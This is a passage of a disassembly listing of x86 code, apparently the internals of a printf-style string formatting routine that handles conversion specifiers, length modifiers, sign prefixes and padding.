; sub_409A10+27Dj
test [ebp+var_E], 2000h
jz loc_409BBE
cmp [ebp+arg_0], 0
jz short loc_409CB8
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_409CB8: ; CODE XREF: sub_409A10+29Cj
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
cmp [ebp+var_2], 0
jnz short loc_409CDC
mov [ebp+var_18], 0
jmp short loc_409CE7
; ---------------------------------------------------------------------------
loc_409CDC: ; CODE XREF: sub_409A10+2C1j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_18], eax
loc_409CE7: ; CODE XREF: sub_409A10+2CAj
mov eax, [ebp+var_18]
loc_409CEA: ; CODE XREF: sub_409A10+49j
; sub_409A10+6Dj ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_409A10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CF0 proc near ; CODE XREF: sub_4088A0+243p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
movzx eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp eax, 41h
jl short loc_409D0F
cmp eax, 47h
jg short loc_409D1E
jmp dword_40FC80[eax*4]
; ---------------------------------------------------------------------------
loc_409D0F: ; CODE XREF: sub_409CF0+11j
cmp [ebp+var_4], 25h
jz loc_40A3E2
jmp loc_40A3F7
; ---------------------------------------------------------------------------
loc_409D1E: ; CODE XREF: sub_409CF0+16j
mov eax, [ebp+var_4]
cmp eax, 58h
jz loc_409F53
jl loc_40A3F7
mov eax, [ebp+var_4]
cmp eax, 61h
jl loc_40A3F7
cmp eax, 78h
jg loc_40A3F7
jmp dword_40FC1C[eax*4]
; ---------------------------------------------------------------------------
loc_409D4C: ; DATA XREF: DMN0:0040FDA8o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz short loc_409D79
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, 4
mov [eax], ecx
mov eax, [ebp+arg_C]
mov ecx, [ecx-4]
mov [eax+edx], cl
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_409D79: ; CODE XREF: sub_409CF0+63j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov [ebp+var_6], ax
mov [ebp+var_A], ax
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
or dword ptr [edx+2Ch], 0FFFFFFFFh
lea eax, [ebp+var_A]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40AF70
add esp, 8
test eax, eax
jge loc_40A422
or eax, 0FFFFFFFFh
jmp loc_40A424
; ---------------------------------------------------------------------------
loc_409DBB: ; DATA XREF: DMN0:0040FDACo
; DMN0:0040FDC0o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_409DE0
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409E54
; ---------------------------------------------------------------------------
loc_409DE0: ; CODE XREF: sub_409CF0+D2j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_409E01
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409E48
; ---------------------------------------------------------------------------
loc_409E01: ; CODE XREF: sub_409CF0+F7j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_409E22
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_409E3C
; ---------------------------------------------------------------------------
loc_409E22: ; CODE XREF: sub_409CF0+118j
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409E3C: ; CODE XREF: sub_409CF0+130j
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409E48: ; CODE XREF: sub_409CF0+10Fj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_409E54: ; CODE XREF: sub_409CF0+EEj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_409E84
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dx, cx
movsx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409ECA
; ---------------------------------------------------------------------------
loc_409E84: ; CODE XREF: sub_409CF0+176j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_409EA8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dl, cl
movsx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_409ECA
; ---------------------------------------------------------------------------
loc_409EA8: ; CODE XREF: sub_409CF0+19Bj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_409EB6
cmp al, 7Ah
jnz short loc_409ECA
loc_409EB6: ; CODE XREF: sub_409CF0+1C0j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
loc_409ECA: ; CODE XREF: sub_409CF0+192j
; sub_409CF0+1B6j ...
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_409EF1
jl short loc_409EDC
test eax, eax
jnb short loc_409EF1
loc_409EDC: ; CODE XREF: sub_409CF0+1E6j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_409F2F
; ---------------------------------------------------------------------------
loc_409EF1: ; CODE XREF: sub_409CF0+1E4j
; sub_409CF0+1EAj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_409F11
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_409F2F
; ---------------------------------------------------------------------------
loc_409F11: ; CODE XREF: sub_409CF0+20Aj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_409F2F
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_409F2F: ; CODE XREF: sub_409CF0+1FFj
; sub_409CF0+21Fj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B0C0
add esp, 8
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_409F53: ; CODE XREF: sub_409CF0+34j
; DATA XREF: DMN0:0040FDD8o ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_409F75
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409FE6
; ---------------------------------------------------------------------------
loc_409F75: ; CODE XREF: sub_409CF0+26Aj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_409F96
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409FDA
; ---------------------------------------------------------------------------
loc_409F96: ; CODE XREF: sub_409CF0+28Cj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_409FB7
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_409FCE
; ---------------------------------------------------------------------------
loc_409FB7: ; CODE XREF: sub_409CF0+2ADj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409FCE: ; CODE XREF: sub_409CF0+2C5j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409FDA: ; CODE XREF: sub_409CF0+2A4j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_409FE6: ; CODE XREF: sub_409CF0+283j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_40A015
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_40A058
; ---------------------------------------------------------------------------
loc_40A015: ; CODE XREF: sub_409CF0+308j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_40A039
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_40A058
; ---------------------------------------------------------------------------
loc_40A039: ; CODE XREF: sub_409CF0+32Cj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_40A047
cmp al, 7Ah
jnz short loc_40A058
loc_40A047: ; CODE XREF: sub_409CF0+351j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
loc_40A058: ; CODE XREF: sub_409CF0+323j
; sub_409CF0+347j ...
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_40A0A3
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jnz short loc_40A070
test eax, eax
jz short loc_40A0A3
loc_40A070: ; CODE XREF: sub_409CF0+37Aj
mov al, [ebp+arg_8]
cmp al, 78h
jz short loc_40A07B
cmp al, 58h
jnz short loc_40A0A3
loc_40A07B: ; CODE XREF: sub_409CF0+385j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov cl, [ebp+arg_8]
mov [eax+edx], cl
loc_40A0A3: ; CODE XREF: sub_409CF0+371j
; sub_409CF0+37Ej ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B0C0
add esp, 8
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A0C7: ; DATA XREF: DMN0:0040FD84o
; DMN0:0040FD94o ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 4Ch
jnz short loc_40A0E2
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
jmp short loc_40A0F2
; ---------------------------------------------------------------------------
loc_40A0E2: ; CODE XREF: sub_409CF0+3DEj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
loc_40A0F2: ; CODE XREF: sub_409CF0+3F0j
fld [ebp+var_20]
fstp qword ptr [eax]
mov eax, [ebp+arg_0]
push eax
call sub_40B300
pop ecx
cmp ax, 2
jz short loc_40A165
mov eax, [ebp+arg_0]
test word ptr [eax+6], 8000h
jz short loc_40A127
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_40A165
; ---------------------------------------------------------------------------
loc_40A127: ; CODE XREF: sub_409CF0+420j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_40A147
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_40A165
; ---------------------------------------------------------------------------
loc_40A147: ; CODE XREF: sub_409CF0+440j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_40A165
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_40A165: ; CODE XREF: sub_409CF0+415j
; sub_409CF0+435j ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B310
add esp, 8
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A189: ; DATA XREF: DMN0:0040FDD4o
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+3Ah]
mov [ebp+var_24], eax
cmp eax, 68h
jz loc_40A272
cmp eax, 6Ah
jz short loc_40A21A
cmp eax, 6Ch
jz loc_40A28D
jg short loc_40A1B7
cmp [ebp+var_24], 62h
jz short loc_40A1DC
jmp loc_40A2A7
; ---------------------------------------------------------------------------
loc_40A1B7: ; CODE XREF: sub_409CF0+4BAj
mov eax, [ebp+var_24]
cmp eax, 71h
jz short loc_40A1F6
cmp eax, 74h
jz short loc_40A23E
cmp eax, 71h
jl loc_40A2A7
cmp [ebp+var_24], 7Ah
jz loc_40A258
jmp loc_40A2A7
; ---------------------------------------------------------------------------
loc_40A1DC: ; CODE XREF: sub_409CF0+4C0j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], al
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A1F6: ; CODE XREF: sub_409CF0+4CDj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A21A: ; CODE XREF: sub_409CF0+4AFj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A23E: ; CODE XREF: sub_409CF0+4D2j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A258: ; CODE XREF: sub_409CF0+4E1j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A272: ; CODE XREF: sub_409CF0+4A6j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], ax
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A28D: ; CODE XREF: sub_409CF0+4B4j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A2A7: ; CODE XREF: sub_409CF0+4C2j
; sub_409CF0+4D7j ...
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A2C1: ; DATA XREF: DMN0:0040FDDCo
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [ebp+arg_0]
mov edx, [edx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
mov edx, [ebp+arg_0]
mov dword ptr [edx+34h], 8
mov eax, [ebp+arg_0]
or word ptr [eax+38h], 10h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
push 78h
mov eax, [ebp+arg_0]
push eax
call sub_40B0C0
add esp, 8
jmp loc_40A422
; ---------------------------------------------------------------------------
loc_40A31F: ; DATA XREF: DMN0:0040FDE8o
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz loc_40A3BF
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [ebp+var_2C], edx
mov [eax], edx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_2C]
mov eax, [eax-4]
mov [edx+10h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_40A358
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], offset dword_40FE00
loc_40A358: ; CODE XREF: sub_409CF0+65Cj
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
cmp dword ptr [eax+2Ch], 0
jge short loc_40A379
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
or eax, 0FFFFFFFFh
loc_40A36D: ; CODE XREF: sub_409CF0+682j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_40A36D
mov [ebp+var_30], eax
jmp short loc_40A3B4
; ---------------------------------------------------------------------------
loc_40A379: ; CODE XREF: sub_409CF0+672j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
push edx
push 0
mov eax, [eax+10h]
push eax
call sub_409060
add esp, 0Ch
mov [ebp+var_28], eax
test eax, eax
jz short loc_40A3A5
mov eax, [ebp+var_28]
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
sub eax, edx
mov [ebp+var_34], eax
jmp short loc_40A3AE
; ---------------------------------------------------------------------------
loc_40A3A5: ; CODE XREF: sub_409CF0+6A3j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+var_34], eax
loc_40A3AE: ; CODE XREF: sub_409CF0+6B3j
mov eax, [ebp+var_34]
mov [ebp+var_30], eax
loc_40A3B4: ; CODE XREF: sub_409CF0+687j
mov eax, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+1Ch], eax
jmp short loc_40A422
; ---------------------------------------------------------------------------
loc_40A3BF: ; CODE XREF: sub_409CF0+636j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40AF70
add esp, 8
test eax, eax
jge short loc_40A422
or eax, 0FFFFFFFFh
jmp short loc_40A424
; ---------------------------------------------------------------------------
loc_40A3E2: ; CODE XREF: sub_409CF0+23j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 25h
jmp short loc_40A422
; ---------------------------------------------------------------------------
loc_40A3F7: ; CODE XREF: sub_409CF0+29j
; sub_409CF0+3Aj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
cmp [ebp+arg_8], 0
jz short loc_40A412
movzx eax, [ebp+arg_8]
mov [ebp+var_28], eax
jmp short loc_40A419
; ---------------------------------------------------------------------------
loc_40A412: ; CODE XREF: sub_409CF0+717j
mov [ebp+var_28], 25h
loc_40A419: ; CODE XREF: sub_409CF0+720j
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_28]
mov [eax+edx], cl
loc_40A422: ; CODE XREF: sub_409CF0+84j
; sub_409CF0+BDj ...
xor eax, eax
loc_40A424: ; CODE XREF: sub_409CF0+C6j
; sub_409CF0+6F0j
pop ebx
mov esp, ebp
pop ebp
retn
sub_409CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A430 proc near ; CODE XREF: sub_4088A0+25Ap
; sub_40AF70+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, [ebx+34h]
sub eax, [ebx+14h]
sub eax, [ebx+18h]
sub eax, [ebx+1Ch]
sub eax, [ebx+20h]
sub eax, [ebx+24h]
sub eax, [ebx+28h]
mov [ebp+var_4], eax
test word ptr [ebx+38h], 4
jnz short loc_40A4AF
cmp [ebp+var_4], 0
jle short loc_40A4AF
mov esi, [ebp+var_4]
jmp short loc_40A4AB
; ---------------------------------------------------------------------------
loc_40A467: ; CODE XREF: sub_40A430+7Dj
cmp esi, 20h
jbe short loc_40A475
mov [ebp+var_8], 20h
jmp short loc_40A47A
; ---------------------------------------------------------------------------
loc_40A475: ; CODE XREF: sub_40A430+3Aj
mov eax, esi
mov [ebp+var_8], eax
loc_40A47A: ; CODE XREF: sub_40A430+43j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A4A9
push edi
push offset asc_40FE08 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A4A1
add [ebx+30h], edi
jmp short loc_40A4A9
; ---------------------------------------------------------------------------
loc_40A4A1: ; CODE XREF: sub_40A430+6Aj
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A4A9: ; CODE XREF: sub_40A430+51j
; sub_40A430+6Fj
sub esi, edi
loc_40A4AB: ; CODE XREF: sub_40A430+35j
test esi, esi
jg short loc_40A467
loc_40A4AF: ; CODE XREF: sub_40A430+2Aj
; sub_40A430+30j
cmp dword ptr [ebx+14h], 0
jle short loc_40A4E0
mov eax, [ebx+14h]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A4D8
mov eax, [ebx+14h]
add [ebx+30h], eax
jmp short loc_40A4E0
; ---------------------------------------------------------------------------
loc_40A4D8: ; CODE XREF: sub_40A430+9Ej
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A4E0: ; CODE XREF: sub_40A430+83j
; sub_40A430+A6j
cmp dword ptr [ebx+18h], 0
jle short loc_40A533
mov esi, [ebx+18h]
jmp short loc_40A52F
; ---------------------------------------------------------------------------
loc_40A4EB: ; CODE XREF: sub_40A430+101j
cmp esi, 20h
jbe short loc_40A4F9
mov [ebp+var_8], 20h
jmp short loc_40A4FE
; ---------------------------------------------------------------------------
loc_40A4F9: ; CODE XREF: sub_40A430+BEj
mov eax, esi
mov [ebp+var_8], eax
loc_40A4FE: ; CODE XREF: sub_40A430+C7j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A52D
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A525
add [ebx+30h], edi
jmp short loc_40A52D
; ---------------------------------------------------------------------------
loc_40A525: ; CODE XREF: sub_40A430+EEj
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A52D: ; CODE XREF: sub_40A430+D5j
; sub_40A430+F3j
sub esi, edi
loc_40A52F: ; CODE XREF: sub_40A430+B9j
test esi, esi
jg short loc_40A4EB
loc_40A533: ; CODE XREF: sub_40A430+B4j
cmp dword ptr [ebx+1Ch], 0
jle short loc_40A564
mov eax, [ebx+1Ch]
push eax
mov eax, [ebx+10h]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A55C
mov eax, [ebx+1Ch]
add [ebx+30h], eax
jmp short loc_40A564
; ---------------------------------------------------------------------------
loc_40A55C: ; CODE XREF: sub_40A430+122j
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A564: ; CODE XREF: sub_40A430+107j
; sub_40A430+12Aj
cmp dword ptr [ebx+20h], 0
jle short loc_40A5B7
mov esi, [ebx+20h]
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A56F: ; CODE XREF: sub_40A430+185j
cmp esi, 20h
jbe short loc_40A57D
mov [ebp+var_8], 20h
jmp short loc_40A582
; ---------------------------------------------------------------------------
loc_40A57D: ; CODE XREF: sub_40A430+142j
mov eax, esi
mov [ebp+var_8], eax
loc_40A582: ; CODE XREF: sub_40A430+14Bj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A5B1
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A5A9
add [ebx+30h], edi
jmp short loc_40A5B1
; ---------------------------------------------------------------------------
loc_40A5A9: ; CODE XREF: sub_40A430+172j
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A5B1: ; CODE XREF: sub_40A430+159j
; sub_40A430+177j
sub esi, edi
loc_40A5B3: ; CODE XREF: sub_40A430+13Dj
test esi, esi
jg short loc_40A56F
loc_40A5B7: ; CODE XREF: sub_40A430+138j
cmp dword ptr [ebx+24h], 0
jle short loc_40A5ED
mov eax, [ebx+24h]
push eax
mov eax, [ebx+1Ch]
mov edx, [ebx+10h]
add eax, edx
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A5E5
mov eax, [ebx+24h]
add [ebx+30h], eax
jmp short loc_40A5ED
; ---------------------------------------------------------------------------
loc_40A5E5: ; CODE XREF: sub_40A430+1ABj
or eax, 0FFFFFFFFh
jmp loc_40A697
; ---------------------------------------------------------------------------
loc_40A5ED: ; CODE XREF: sub_40A430+18Bj
; sub_40A430+1B3j
cmp dword ptr [ebx+28h], 0
jle short loc_40A63D
mov esi, [ebx+28h]
jmp short loc_40A639
; ---------------------------------------------------------------------------
loc_40A5F8: ; CODE XREF: sub_40A430+20Bj
cmp esi, 20h
jbe short loc_40A606
mov [ebp+var_8], 20h
jmp short loc_40A60B
; ---------------------------------------------------------------------------
loc_40A606: ; CODE XREF: sub_40A430+1CBj
mov eax, esi
mov [ebp+var_8], eax
loc_40A60B: ; CODE XREF: sub_40A430+1D4j
